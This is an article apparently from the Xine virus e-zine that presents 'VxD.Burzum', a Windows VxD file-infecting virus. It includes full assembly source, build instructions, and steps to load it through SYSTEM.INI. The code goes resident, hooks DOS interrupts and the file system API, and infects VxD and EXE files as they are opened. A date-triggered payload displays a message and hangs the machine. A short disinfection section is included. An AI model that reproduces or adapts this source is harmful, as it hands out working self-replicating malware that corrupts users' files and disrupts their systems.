Copy Link
Add to Bookmark
Report
Xine - issue #5 - Phile 213
Ú-----------------------------¿
| Xine - issue #5 - Phile 213 |
À-----------------------------Ù
Ú------------¿
| VxD.Burzum |
À------------Á--------------------------------------------------------------
This virus is a simple VxD infector. I wrote it to demonstrate VxD protec-
ted-mode infection, reserving extended memory from real-mode.
Ú-------------------¿
| 1. Virus analysis |
À-------------------Ù
When the virus (real-mode) receives execution control, it makes its resi-
dency check and goes resident (if necessary) using DOS functions to allocate
memory (reloading the virus code from the end of file). Then, it hooks the
interrupt 21h, reloads the original real-mode init proc and calls it. After
this, it reserves extended memory (with a copy of the virus), points the re-
ference data to the virus entrypoint (extended memory), deallocates unneces-
sary memory and returns to the VMM. The protected-mode entrypoint (in the
DDB reserved fields) executes "Test_Debug_Installed" (residency check) and
calls EDX (if necessary), which points to the reference data (extended memo-
ry), installing the required VxD hooks, restoring the original reference da-
ta, activating the payload if the current date matches the one of the pay-
load and returning execution to the host's DDB control procedure.
Ú----------------¿
| 1.1. VxD hooks |
À----------------Ù
The "Test_Debug_Installed" hook handles the protected-mode residency check
whereas the file hook handles the infection of VxD files.
Ú----------------------¿
| 1.2. Interrupt hooks |
À----------------------Ù
The INT 21h hook handles the real-mode residency check.
Ú--------------¿
| 1.3. Payload |
À--------------Ù
The virus decrypts and displays the following string:
"VxD.Burzum, Horned Beast/VADER"
Ú--------------------¿
| 1.4. File map: VxD |
À--------------------Ù
Before infection After infection
Ú----------------------¿ Ú----------------------¿
| | | |
| VxD data | | VxD data |
| | | (modified) |
Ã----------------------´ Ã----------------------´
| Real-mode init proc | | Virus stub |
| | Ã----------------------´
Ã----------------------´ Ã----------------------´
| VxD data | | VxD data |
À----------------------Ù Ã----------------------´
| Virus code |
Ã----------------------´
| Real-mode init proc |
À----------------------Ù
Ú-----------------------------¿
| 2. Assembling and compiling |
À-----------------------------Ù
Compile the real-mode code to a COM file, using:
tasm r_mode,,info /ml /m5
tlink r_mode /t
Convert it to a INC file, using:
bin2db r_mode.com r_mode.inc
Fix the appropriate references from the file "BURZUM.ASM" (lines marked with
";Fix"), according to the file "INFO.LST".
Compile the main virus code to a VXD file, using:
nmake /A
Fix the appropriate references from the file "R_MODE.ASM" (lines marked with
";Fix"), according to the file "INFO2.LST".
Recompile the real-mode code.
Recompile the main virus code.
Ú------------¿
| 3. Loading |
À------------Ù
Register the virus VxD in the SYSTEM.INI file and restart Windows. The vi-
rus will then stay resident and infect any accessed files.
Ú-----------------¿
| 4. Disinfection |
À-----------------Ù
Copy Loader_Size bytes at position EOF-Loader_Size to the start of the
real-mode init proc, fixing the appropriate "OH_size" and "LE_eip" fields
(if necessary). Then, restore the pointer to the original DDB control proce-
dure and reduce the file size by Virus_Physical_Size bytes.
-----------------------´ Start of file: R_MODE.ASM Ã------------------------
.Model Tiny
.Code
.386
include DOS.INC
include EXTRA.INC
.Radix 16d
org (size PSP)
Control_Distance = 1234 ;Fix
Virus_Main_Size = 1234 ;Fix
Virus_Physical_Size = 1234 ;Fix
Virus_Virtual_Size = 1234 ;Fix
Return_IP_Distance = Return_IP-Real_Mode_Start
Ref_Patch_Size = Ref_Patch_End-Ref_Patch_Start
Loader_Size = Loader_End-Real_Mode_Start
Real_Mode_Size = Real_Mode_End-Real_Mode_Start
Virus_Sign = 'HB' ;"Horned Beast"
Real_Mode_Start:
pop bp ;Return address
push bp bp bp cs
push 1234
Return_IP = $-2
pushad
mov ax,3303
mov bx,Virus_Sign
int 21 ;Residency check
or ax,ax
jnz Not_Resident
push bx ;Virus CS
push Reload_File-Real_Mode_Start
retf
Not_Resident:
mov ah,48
mov bx,(Virus_Main_Size+15d)/16d
int 21 ;Allocate memory
jc $ ;Hang if no memory
xchg bp,ax
mov si,Virus_Physical_Size
mov di,Virus_Main_Size
call Read_File
push bp
push Mem_Return-Real_Mode_Start
retf
;Read the last accessed file at position EOF-SI to the address at BP:0,
;until position EOF-SI+DI
;Save and restore the file pointer
Read_File:
push ds es
mov ah,34
int 21 ;Get address of "InDOS flag"
mov bx,word ptr es:[bx+28ch-1] ;File handle
mov ax,4201
xor cx,cx
cwd
int 21
push ax dx
mov ax,4202
cwd
int 21
xchg dx,ax
xchg cx,ax
sub dx,si
sbb cx,ax
mov ah,42
int 21
mov ah,3fh
mov cx,di
cwd
mov ds,bp
int 21
pop cx dx
mov ax,4200
int 21
pop es ds
retn
Loader_End:
Mem_Return:
push ds cs
pop ds
mov ax,3521
int 21 ;Get interrupt vector
mov si,Save_i21-Real_Mode_Start
mov word ptr ds:[si],bx
mov word ptr ds:[si+2],es
mov ah,25
mov dx,Handler_i21-Real_Mode_Start
int 21 ;Set interrupt vector
pop ds
Reload_File:
mov bp,ds
mov si,Loader_Size
mov di,si
call Read_File
popad
push ds
pop es
mov bp,sp
mov word ptr ss:[bp+6],Mem_Return2-Real_Mode_Start
mov word ptr ss:[bp+8],cs
mov dword ptr cs:[Service_Call-Real_Mode_Start],ecx ;LDRSRV address
retf ;Call the original real-mode init proc
Mem_Return2:
push ds
pushad
or ax,ax ;Same as: cmp ax,DEVICE_LOAD_OK
jnz Return_to_VMM
push cs
pop ds
mov dword ptr ds:[Reference-Real_Mode_Start],edx ;Save reference data
cmp byte ptr ds:[Loading_Switch-Real_Mode_Start],0
jne Skip_Virus_Alloc ;Virus already in extended memory
mov cx,Virus_Virtual_Size
mov dx,LDRSRV_COPY_LOCKED
xor si,si
call Allocate_Extended
add eax,Control_Distance
mov dword ptr ds:[Ext_Virus_Start-Real_Mode_Start],eax
inc byte ptr ds:[Loading_Switch-Real_Mode_Start]
push es cs
pop es
mov ah,4ah
mov bx,(Real_Mode_Size+15d)/16d
int 21 ;Discard unused memory
pop es
Skip_Virus_Alloc:
mov cx,Ref_Patch_Size
mov dx,LDRSRV_COPY_INIT
mov si,Ref_Patch_Start-Real_Mode_Start
call Allocate_Extended
mov bp,sp
mov dword ptr ss:[bp.Pushad_EDX],eax ;Modify reference data
Return_to_VMM:
popad
pop ds
retf ;Return to the VMM
Allocate_Extended: ;Allocate extended memory
mov ax,LDRSRV_COPY_EXTENDED_MEMORY
db 9ah ;Call XXXX:XXXX
Service_Call dd 0
jc $ ;Hang if no memory
retn
;Interrupt vector handler
Handler_i21:
pushf
cmp ax,3303
jne Old_i21
cmp bx,Virus_Sign
jne Old_i21
xor ax,ax
mov bx,cs
popf
iret
Old_i21:
popf
db 0eah ;Jmp XXXX:XXXX
Save_i21 dd 0
Ref_Patch_Start: ;32-bit code!
mov dx,1234
org $-2
Reference dd 0
push 1234
org $-2
Ext_Virus_Start dd 0
ret
Ref_Patch_End: ;End of 32-bit code
Loading_Switch db 0
Real_Mode_End:
end Real_Mode_Start
------------------------´ End of file: R_MODE.ASM Ã-------------------------
-----------------------´ Start of file: BURZUM.ASM Ã------------------------
.386p
MASM = 1 ;Needed for IFS.INC
.XList
include VMM.INC
include IFS.INC
include IFSMGR.INC
include SHELL.INC
include MZ.INC
include LE.INC
.List
public BURZUM_DDB
Return_IP_Distance = 1234h ;Fix
Loader_Size = 1234h ;Fix
Control_Distance = Virus_Control-Virus_Start
Virus_Main_Size = Virus_Main_End-Virus_Start
Virus_Physical_Size = Virus_Physical_End-Virus_Start
Virus_Virtual_Size = Virus_Virtual_End-Virus_Start
HB_Sign = 'HB' ;"Horned Beast"
Min_Page_Size = 100h
Max_Page_Size = 8000h
Payload_Day = 4
Payload_Month = 7
VxD_CODE_SEG
Return_Control:
clc
ret
Burzum_Control:
mov edx,offset Virus_Control
jmp Fake_Start
BURZUM_DDB VxD_Desc_Block <,,,,,,"BURZUM",,Burzum_Control>
;Simulate host execution
org $.DDB_Reserved1-(size VxD_Desc_Block)
Fake_Start:
VMMCall Test_Debug_Installed
call edx
dd (Fake_Start-Return_Control)
Dword_Align
Virus_Start:
Return_IP = $+Return_IP_Distance
include R_MODE.INC
Virus_Control:
pushad
call Start_Delta
Start_Delta:
pop edi
call Fix_Dynamic_Links
;Install debug hook
lea esi,[edi+(Debug_Hook-Start_Delta)]
lea ebx,[esi+(Old_Debug-Debug_Hook)]
xor eax,eax
mov dword ptr [ebx],eax
mov dword ptr [esi-(Debug_Hook-Old_Debug_Pointer)],ebx
GetVxDServiceOrdinal eax,Test_Debug_Installed
Dynamic_Link1:
VMMCall Hook_Device_Service
mov edx,dword ptr [esp+(size Pushad_Struc)] ;Return address
sub edx,2 ;Subtract call size
mov dword ptr [esp+(size Pushad_Struc)],edx ;Adjust return address
;Fix "Test_Debug_Installed" call
mov word ptr [edx-6],1234h
org $-2
int Dyna_Link_Int
mov dword ptr [edx-4],@@Test_Debug_Installed
mov dword ptr [edi+(Compare_Offset-Start_Delta)],edx
popad
;Simulate a HOOK_PROC
jmp Debug_Hook
jmp dword ptr [Old_Debug]
Old_Debug_Pointer = $-4
Debug_Hook:
pushfd
pushad
mov edx,dword ptr [esp+(size Pushad_Struc)+4] ;Return address
cmp word ptr [edx],1234h
org $-2
call edx
jne Debug_Exit ;Not a virus call
lea ebx,[edx-6] ;"Test_Debug_Installed" call address
sub ebx,dword ptr [edx+2]
mov dword ptr [esp+(size Pushad_Struc)+4],ebx ;Fix return address
cmp edx,12345678h
Compare_Offset = $-4
jne Fix_Reference
cmp eax,INIT_COMPLETE
jne Return_to_Host
;Install file hook
call Debug_Delta
Debug_Delta:
pop edi
mov byte ptr [edi+(Disable_Hook-Debug_Delta)],0
lea eax,[edi+(File_Hook-Debug_Delta)]
push eax
Dynamic_Link4:
VxDCall IFSMgr_InstallFileSystemApiHook
pop ecx
mov dword ptr [edi+(Old_File-Debug_Delta)],eax
;The payload
mov al,7
out 70h,al
in al,71h
cmp al,Payload_Day
jne Return_to_Host
mov al,8
out 70h,al
in al,71h
cmp al,Payload_Month
jne Return_to_Host
lea ecx,[edi+(Virus_Name-Debug_Delta)]
mov edi,ecx
dec edi
Decrypt_Name:
inc edi
xor byte ptr [edi],66h
jnz Decrypt_Name
VMMCall Get_Sys_VM_Handle
xor eax,eax ;Message box flags
VxDCall SHELL_SYSMODAL_Message ;Display virus name
jmp $ ;Hang execution
Fix_Reference:
or eax,eax ;Same as: cmp eax,SYS_CRITICAL_INIT
jnz Return_to_Host
popad
mov edx,dword ptr [edx+1] ;Reference data
pushad
Return_to_Host:
popad
popfd
ret
Debug_Exit:
popad
popfd
push 12345678h
Old_Debug = $-4
ret
Virus_Name db 48,30,34,72,36,19,20,28,19,11,74,70,46,9,20,8,3,2,70,36
db 3,7,21,18,73,48,39,34,35,52,102
;Encrypted "VxD.Burzum, Horned Beast/VADER",0
BeginProc File_Hook,CCALL,HIGH_FREQ
ArgVar FSDFnAddr,DWORD
ArgVar FunctionNum,DWORD
ArgVar Drive,DWORD
ArgVar ResourceFlags,DWORD
ArgVar CodePage,DWORD
ArgVar pir,DWORD
LocalVar LE_Info_Mem,DWORD
LocalVar DDB_Offset_Obj,DWORD
LocalVar LE_Header_File,DWORD
LocalVar LE_Info_File,DWORD
LocalVar LE_Info_Size,DWORD
LocalVar DDB_Offset_File,DWORD
LocalVar File_Handle,DWORD
EnterProc
pushad
mov al,12h
Disable_Hook = $-1
cmp al,0
jne File_Hook_Exit
cmp dword ptr [FunctionNum],IFSFN_OPEN ;Function
jne File_Hook_Exit
call File_Delta
File_Delta:
pop edi
inc byte ptr [edi+(Disable_Hook-File_Delta)]
lea ebx,[edi+(File_Buffer-File_Delta)]
mov eax,dword ptr [Drive] ;Drive number
cmp al,-1
je No_Drive ;UNC resource
add al,'A'-1
mov ah,':'
mov dword ptr [ebx],eax
inc ebx
inc ebx
No_Drive:
mov eax,dword ptr [pir] ;Pointer to IOREQ
mov eax,dword ptr [eax.ir_ppath]
add eax,ParsedPath.pp_elements
push BCS_WANSI
push Virus_Virtual_End-Virus_Physical_End
push eax
push ebx
Dynamic_Link5:
VxDCall UniToBCSPath
add esp,4*4
add ebx,eax
mov eax,dword ptr [ebx-3] ;File extension
cmp eax,'DXV'
je Extension_OK
cmp eax,'683'
je Extension_OK
cmp eax,'EXE'
jne Infection_Done
Extension_OK:
lea esi,[edi+(File_Buffer-File_Delta)]
mov eax,R0_OPENCREATFILE
mov bx,2 ;Read/write
mov dx,1 ;Open file if it exists
call Original_FileIO ;Open the file (read/write mode)
jc Infection_Done
mov dword ptr [File_Handle],eax
call Infect_File
mov eax,R0_CLOSEFILE
call Simulate_FileIO ;Close the file
Infection_Done:
dec byte ptr [edi+(Disable_Hook-File_Delta)]
File_Hook_Exit:
popad
LeaveProc
push dword ptr ds:[12345678h]
Old_File = $-4
Return
EndProc File_Hook,KEEPFRAMEVARS
;Routines
;Infect file
;þ On entry:
; EDI=File_Delta
; File_Handle=Handle of file to infect
;þ On exit:
; EAX,EBX,ECX,EDX,ESI=?
; Update all data
Infect_File:
;Init data
xor eax,eax
mov dword ptr [LE_Info_Mem],eax
mov word ptr [edi+(Write_LE_Header-File_Delta)],ax
call Read_LE
jc Dealloc_Exit
call Update_DDB
jc Dealloc_Exit
call Clear_Checksums
call Fix_Real_Mode
jc Dealloc_Exit
xor ecx,ecx
mov cl,Loader_Size
xchg eax,edx
lea esi,[edi+(Loader_Buffer-File_Delta)]
call FileIO_Read ;Read real-mode code
push ecx
push edx
mov eax,R0_GETFILESIZE
call Simulate_FileIO
mov ecx,Virus_Physical_Size
xchg eax,edx
lea esi,[edi+(Virus_Start-File_Delta)]
call FileIO_Write ;Write virus body
pop edx
pop ecx
call FileIO_Write ;Write real-mode stub
mov ecx,size VxD_Desc_Block
mov edx,dword ptr [DDB_Offset_File]
lea esi,[edi+(DDB_Buffer-File_Delta)]
call FileIO_Write ;Write DDB
cmp byte ptr [edi+(Write_LE_Header-File_Delta)],0
je No_LE_Write
mov ecx,IMAGE_SIZEOF_VXD_HEADER
mov edx,dword ptr [LE_Header_File]
lea esi,[edi+(File_Buffer-File_Delta)]
call FileIO_Write ;Write LE header
No_LE_Write:
cmp byte ptr [edi+(Write_LE_Info-File_Delta)],0
je Dealloc_Exit
mov ecx,dword ptr [LE_Info_Size]
mov edx,dword ptr [LE_Info_File]
mov esi,dword ptr [LE_Info_Mem]
call FileIO_Write ;Write LE info
Dealloc_Exit:
mov ecx,dword ptr [LE_Info_Mem]
jecxz No_Dealloc
xchg eax,ecx
call My_HeapFree
No_Dealloc:
ret
;Read LE header and info, mark file infected/impossible to infect
;þ On entry:
; EDI=File_Delta
; File_Handle=Handle of file to read/write
;þ On exit:
; ESI=File_Buffer
; * Carry flag clear:
; File_Buffer filled with LE header
; LE_Header_File=Offset (within file) of LE header
; LE_Info_Mem=Pointer to LE info (allocated memory)
; LE_Info_File=Offset (within file) of LE info
; LE_Info_Size=Size of LE info
; * Carry flag set: ERROR
Read_LE:
lea esi,[edi+(File_Buffer-File_Delta)]
pushad
mov ecx,IMAGE_SIZEOF_DOS_HEADER
xor edx,edx
call FileIO_Read ;Read MZ header
cmp word ptr [esi.MZ_magic],IMAGE_DOS_SIGNATURE
jne Read_LE_Fail
cmp word ptr [esi.MZ_lfarlc],IMAGE_SIZEOF_DOS_HEADER
jb Read_LE_Fail
mov ax,HB_Sign
cmp word ptr [esi.MZ_csum],ax
je Read_LE_Fail ;File already infected/impossible to infect
mov dword ptr [esi],eax
mov cl,2
mov dl,MZ_csum
call FileIO_Write ;Mark file infected/impossible to infect
jc Read_LE_Fail
mov edx,dword ptr [esi.MZ_lfanew]
mov dword ptr [LE_Header_File],edx
mov cl,IMAGE_SIZEOF_VXD_HEADER
call FileIO_Read ;Read LE header
add edx,ecx
mov dword ptr [LE_Info_File],edx
call Check_Valid_LE
jnz Read_LE_Fail
mov eax,dword ptr [esi.LE_datapage]
sub eax,edx
push eax
call My_HeapAllocate
pop ecx
jz Read_LE_Fail
mov dword ptr [LE_Info_Mem],eax
mov dword ptr [LE_Info_Size],ecx
mov edx,dword ptr [LE_Info_File]
xchg eax,esi
call FileIO_Read ;Read LE info
popad
ret
Read_LE_Fail:
popad
stc
ret
;Check for a valid LE header
;þ On entry:
; ESI=Pointer to LE header
;þ On exit:
; EAX=?
; ECX=0
; * Zero flag set: Valid LE
; * Zero flag clear: Invalid LE
Check_Valid_LE:
xor ecx,ecx
cmp dword ptr [esi.LE_magic],(IMAGE_VXD_LEWO shl 24)\
+(IMAGE_VXD_LEBO shl 16)+IMAGE_VXD_SIGNATURE
jne Exit_LE_Check
cmp dword ptr [esi.LE_level],ecx
jne Exit_LE_Check
mov eax,dword ptr [esi.LE_cpu]
cmp eax,(IMAGE_VXD_OS_DEV386 shl 16)+IMAGE_VXD_CPU_386
jb Exit_LE_Check
cmp eax,(IMAGE_VXD_OS_DEV386 shl 16)+IMAGE_VXD_CPU_586
ja Exit_LE_Check
test dword ptr [esi.LE_mflags],not (IMAGE_VXD_MODVDEV+IMAGE_VXD_NOEXTFIX)
jnz Exit_LE_Check
mov eax,dword ptr [esi.LE_pagesize]
cmp eax,Min_Page_Size
jb Exit_LE_Check
cmp eax,Max_Page_Size
ja Exit_LE_Check
cmp dword ptr [esi.LE_itermap],ecx
jne Exit_LE_Check
cmp dword ptr [esi.LE_rsrccnt],ecx
jne Exit_LE_Check
cmp dword ptr [esi.LE_dircnt],ecx
jne Exit_LE_Check
cmp dword ptr [esi.LE_impmodcnt],ecx
;jne Exit_LE_Check
Exit_LE_Check:
ret
;Read and update DDB related data
;þ On entry:
; ESI=Pointer to LE header
; EDI=File_Delta
; File_Handle=Handle of file to read
; LE_Info_Mem=Pointer to LE info (allocated memory)
;þ On exit:
; * Carry flag clear:
; DDB_Offset_Obj=Offset of the DDB_Reserved1 field (in first object)
; DDB_Offset_File=Offset (within file) of DDB
; DDB_Buffer filled with updated DDB
; LE info updated (if necessary)
; Set the Write_LE_Info flag if LE info modified
; * Carry flag set: ERROR
Update_DDB:
pushad
call Get_Object_Table
cmp dword ptr [eax.OH_flags],IMAGE_OBJ_READ+IMAGE_OBJ_EXEC\
+IMAGE_OBJ_PRELOAD+IMAGE_OBJ_BIGDEF
jne Update_DDB_Fail
mov eax,dword ptr [esi.LE_enttab]
call Recalc
cmp dword ptr [eax.EB_type],((IMAGE_ENT_EXPORT+IMAGE_ENT_SHARED) shl 24)\
+(1 shl 8)+IMAGE_BND_ENTRY32
jne Update_DDB_Fail
mov eax,dword ptr [eax+IMAGE_SIZEOF_ENTRY_BUNDLE.EH_offset]
lea edx,[eax.DDB_Reserved1]
mov dword ptr [DDB_Offset_Obj],edx
push eax
call Calculate_Page
push edx
call Get_Page_Offset
pop edx
jc Bad_DDB_Page
add edx,eax
mov dword ptr [DDB_Offset_File],edx
mov ecx,size VxD_Desc_Block
push esi
lea esi,[edi+(DDB_Buffer-File_Delta)]
call FileIO_Read ;Read DDB
pop esi
Bad_DDB_Page:
pop eax
jc Update_DDB_Fail
add eax,DDB_Control_Proc
call Calculate_Page
mov eax,dword ptr [esi.LE_fpagetab]
call Recalc
mov ebx,dword ptr [eax+ecx*IMAGE_SIZEOF_FIXUP_PAGE_HEADER]
mov ecx,dword ptr [eax+ecx*IMAGE_SIZEOF_FIXUP_PAGE_HEADER\
+IMAGE_SIZEOF_FIXUP_PAGE_HEADER]
mov eax,dword ptr [esi.LE_frectab]
call Recalc
add ebx,eax
add ecx,eax
call Find_Reloc
jnc Modify_Reloc ;Relocation found
cmp ebx,ecx
jb Update_DDB_Fail ;Unknown relocation type
mov eax,dword ptr [DDB_Offset_Obj]
mov ecx,eax
xchg eax,dword ptr [edi+(DDB_Buffer.DDB_Control_Proc-File_Delta)]
jmp Store_Displacement
Modify_Reloc:
mov ecx,dword ptr [DDB_Offset_Obj]
or ah,ah
jnz Modify_Reloc32
movzx eax,cx
cmp eax,ecx
jne Update_DDB_Fail ;Offset doesn't fit in relocation
xchg ax,word ptr [edx]
jmp Set_Write_Info_Flag
Modify_Reloc32:
mov eax,ecx
xchg eax,dword ptr [edx]
Set_Write_Info_Flag:
mov byte ptr [edi+(Write_LE_Info-File_Delta)],1
Store_Displacement:
sub ecx,eax
;Store:
;VMMCall Test_Debug_Installed
;call edx
;dd ? (relocation to the original DDB control procedure)
;(in the DDB reserved fields)
mov dword ptr [edi+(DDB_Buffer.DDB_Reserved1-File_Delta)],12345678h
org $-4
int Dyna_Link_Int
dw (lowword @@Test_Debug_Installed)
mov dword ptr [edi+(DDB_Buffer.DDB_Reserved2-File_Delta)],(1234h shl 16)\
+(highword @@Test_Debug_Installed)
org $-2
call edx
mov dword ptr [edi+(DDB_Buffer.DDB_Reserved3-File_Delta)],ecx
popad
clc
ret
Update_DDB_Fail:
popad
stc
ret
;Calculate page relative offset
;þ On entry:
; EAX=Offset (within first object)
; ESI=Pointer to LE header
; LE_Info_Mem=Pointer to LE info (allocated memory)
;þ On exit:
; EAX=?
; ECX=Page number
; EDX=Offset (within page)
Calculate_Page:
cdq
mov ecx,dword ptr [esi.LE_pagesize]
div ecx
xchg eax,ecx
call Get_Object_Table
add ecx,dword ptr [eax.OH_pagemap]
dec ecx
ret
;Find a relocation (within a page)
;þ On entry:
; EBX=Start of "Fixup Record" data for the page
; ECX=End of "Fixup Record" data for the page
; DX=Offset to seek (within the page)
;þ On exit:
; EAX,EBX=?
; * Carry flag clear:
; EDX=Pointer to relocation
; AH=0: 16-bit relocation
; AH>0: 32-bit relocation
; * Carry flag set:
; EBXòECX: Relocation not found
; EBX<ECX: ERROR
Find_Reloc:
push ebp
Find_Reloc_Next:
cmp ebx,ecx
jae Find_Reloc_Fail
mov eax,dword ptr [ebx.FR_stype]
test ah,not IMAGE_RLC_32BITOFF
jnz Find_Reloc_Fail ;Invalid relocation type
test al,IMAGE_RLC_ST_CHAIN
jnz Reloc_List
cmp al,IMAGE_RLC_ST_SOFF32
je Skip_Reloc
cmp al,IMAGE_RLC_ST_OFF32
jne Find_Reloc_Fail
cmp byte ptr [ebx.FR_fixup.FH_obj],1
jne Skip_Reloc ;Wrong object
cmp word ptr [ebx.FR_fixup.FH_soff],dx
jne Skip_Reloc ;Wrong source offset
lea edx,[ebx.FR_fixup.FH_offset]
jmp Find_Reloc_OK
Skip_Reloc:
add ebx,IMAGE_RLC_INTSIZE16
jmp Go_Next_Reloc
Reloc_List:
cmp al,IMAGE_RLC_ST_SOFF32+IMAGE_RLC_ST_CHAIN
je Skip_Reloc_List
cmp al,IMAGE_RLC_ST_OFF32+IMAGE_RLC_ST_CHAIN
jne Find_Reloc_Fail
cmp byte ptr [ebx.FR_chain.FC_obj],1
jne Skip_Reloc_List ;Wrong object
movzx ebp,byte ptr [ebx.FR_chain.FC_srccount]
Next_List_Reloc:
dec ebp
js Skip_Reloc_List
or ah,ah
jz Compare_List16
cmp word ptr [ebx+IMAGE_RLC_LISTSIZE32+ebp*2],dx
jmp Offset_Compared
Compare_List16:
cmp word ptr [ebx+IMAGE_RLC_LISTSIZE16+ebp*2],dx
Offset_Compared:
jne Next_List_Reloc ;Wrong source offset
lea edx,[ebx.FR_chain.FC_offset]
Find_Reloc_OK:
pop ebp
clc
ret
Skip_Reloc_List:
movzx ebp,byte ptr [ebx.FR_chain.FC_srccount]
lea ebx,[ebx+ebp*2+IMAGE_RLC_LISTSIZE16]
Go_Next_Reloc:
or ah,ah
jz Find_Reloc_Next
;Add ebx,(IMAGE_RLC_INTSIZE32-IMAGE_RLC_INTSIZE16)=(IMAGE_RLC_LISTSIZE32\
;-IMAGE_RLC_LISTSIZE16)
inc ebx
inc ebx
jmp Find_Reloc_Next
Find_Reloc_Fail:
pop ebp
stc
ret
;Fix the real-mode object
;þ On entry:
; ESI=Pointer to LE header
; EDI=File_Delta
; LE_Info_Mem=Pointer to LE info (allocated memory)
;þ On exit:
; EAX,ECX,EDX=?
; * Carry flag clear:
; EAX=Offset (within file) of real-mode object
; LE header updated (if necessary)
; Set the Write_LE_Header flag if LE header modified
; LE info updated (if necessary)
; Set the Write_LE_Info flag if LE info modified
; Return_IP updated
; * Carry flag set: ERROR
Fix_Real_Mode:
call Get_Object_Table
mov ecx,dword ptr [esi.LE_objcnt]
Check_Next_Obj:
cmp dword ptr [eax.OH_flags],IMAGE_OBJ_READ+IMAGE_OBJ_EXEC\
+IMAGE_OBJ_ALIAS16
je Found_Real_Mode
add eax,IMAGE_SIZEOF_OBJECT_HEADER
loop Check_Next_Obj
Fix_Real_Mode_Fail:
stc
ret
Found_Real_Mode:
xor edx,edx
mov dl,Loader_Size
cmp dword ptr [eax.OH_size],edx
jae Real_Mode_Size_OK
dec ecx
jz Fix_Real_Mode_Fail ;Don't patch size if last object
mov dword ptr [eax.OH_size],edx
mov byte ptr [edi+(Write_LE_Info-File_Delta)],1
Real_Mode_Size_OK:
mov ecx,dword ptr [esi.LE_startobj]
jecxz No_EIP_Patch
xor ecx,ecx
xchg ecx,dword ptr [esi.LE_eip]
jecxz No_EIP_Patch
mov byte ptr [edi+(Write_LE_Header-File_Delta)],1
No_EIP_Patch:
mov word ptr [edi+(Return_IP-File_Delta)],cx
mov ecx,dword ptr [eax.OH_pagemap]
dec ecx
;Calculate the file offset for a page
;þ On entry:
; ECX=Page number
; ESI=Pointer to LE header
; LE_Info_Mem=Pointer to LE info (allocated memory)
;þ On exit:
; EAX,ECX,EDX=?
; * Carry flag clear:
; EAX=Offset (within file) of page
; ECX,EDX=?
; * Carry flag set: ERROR
Get_Page_Offset:
mov eax,dword ptr [esi.LE_objmap]
call Recalc
cmp byte ptr [eax.OPH_flags\
+ecx*IMAGE_SIZEOF_OBJECT_PAGE_HEADER],IMAGE_PAGE_VALID
jne Get_Page_Offset_Fail
mov eax,dword ptr [eax.OPH_highpage+ecx*IMAGE_SIZEOF_OBJECT_PAGE_HEADER]
xchg al,ah
rol eax,16
xchg al,ah
ror eax,8
dec eax
mov ecx,dword ptr [esi.LE_pagesize]
mul ecx
add eax,dword ptr [esi.LE_datapage]
clc
ret
Get_Page_Offset_Fail:
stc
ret
;Clear checksums
;þ On entry:
; ESI=Pointer to LE header
; EDI=File_Delta
;þ On exit:
; EAX,ECX=?
; Checksums cleared
; Set the Write_LE_Header flag if any checksum cleared
Clear_Checksums:
lea eax,[esi.LE_fixupsum]
call Wipe_Checksum
lea eax,[esi.LE_ldrsum]
call Wipe_Checksum
lea eax,[esi.LE_pagesum]
;call Wipe_Checksum
;lea eax,[esi.LE_nressum]
;call Wipe_Checksum
;ret
Wipe_Checksum:
xor ecx,ecx
xchg ecx,dword ptr [eax]
jecxz Already_Clear
mov byte ptr [edi+(Write_LE_Header-File_Delta)],1
Already_Clear:
ret
;Get "object table" address (first object)
;þ On entry:
; ESI=Pointer to LE header
; LE_Info_Mem=Pointer to LE info (allocated memory)
;þ On exit:
; EAX=Pointer to "object table"
Get_Object_Table:
mov eax,dword ptr [esi.LE_objtab]
Recalc:
sub eax,IMAGE_SIZEOF_VXD_HEADER
add eax,dword ptr [LE_Info_Mem]
ret
;Fix dynamic links
Fix_Dynamic_Links:
mov ax,1234h
org $-2
int Dyna_Link_Int
lea ebx,[edi+(Dynamic_Link1-Start_Delta)]
mov dword ptr [ebx],eax
mov dword ptr [ebx+2],@@Hook_Device_Service
lea ebx,[edi+(Dynamic_Link2-Start_Delta)]
mov dword ptr [ebx],eax
mov dword ptr [ebx+2],@@_HeapAllocate
lea ebx,[edi+(Dynamic_Link3-Start_Delta)]
mov dword ptr [ebx],eax
mov dword ptr [ebx+2],@@_HeapFree
lea ebx,[edi+(Dynamic_Link4-Start_Delta)]
mov dword ptr [ebx],eax
mov dword ptr [ebx+2],@@IFSMgr_InstallFileSystemApiHook
lea ebx,[edi+(Dynamic_Link5-Start_Delta)]
mov dword ptr [ebx],eax
mov dword ptr [ebx+2],@@UniToBCSPath
lea ebx,[edi+(Dynamic_Link6-Start_Delta)]
mov dword ptr [ebx],eax
mov dword ptr [ebx+2],@@IFSMgr_Ring0_FileIO
ret
My_HeapAllocate:
push 0 ;Flags
push eax ;Size (in bytes)
Dynamic_Link2:
VMMCall _HeapAllocate
pop ecx
pop ecx
or eax,eax
ret
My_HeapFree:
push 0 ;Flags
push eax ;Address of block
Dynamic_Link3:
VMMCall _HeapFree
pop ecx
pop ecx
ret
;File input/output
FileIO_Write:
mov eax,R0_WRITEFILE
jmp Simulate_FileIO
FileIO_Read:
mov eax,R0_READFILE
Simulate_FileIO:
mov ebx,dword ptr [File_Handle]
Original_FileIO:
Dynamic_Link6:
VxDCall IFSMgr_Ring0_FileIO
ret
Virus_Main_End:
Loader_Buffer db Loader_Size dup (0)
Virus_Physical_End:
File_Buffer db (size IMAGE_VXD_HEADER) dup (0)
DDB_Buffer db (size VxD_Desc_Block) dup (0)
Write_LE_Header db 0
Write_LE_Info db 0
Virus_Virtual_End:
VxD_CODE_ENDS
end
------------------------´ End of file: BURZUM.ASM Ã-------------------------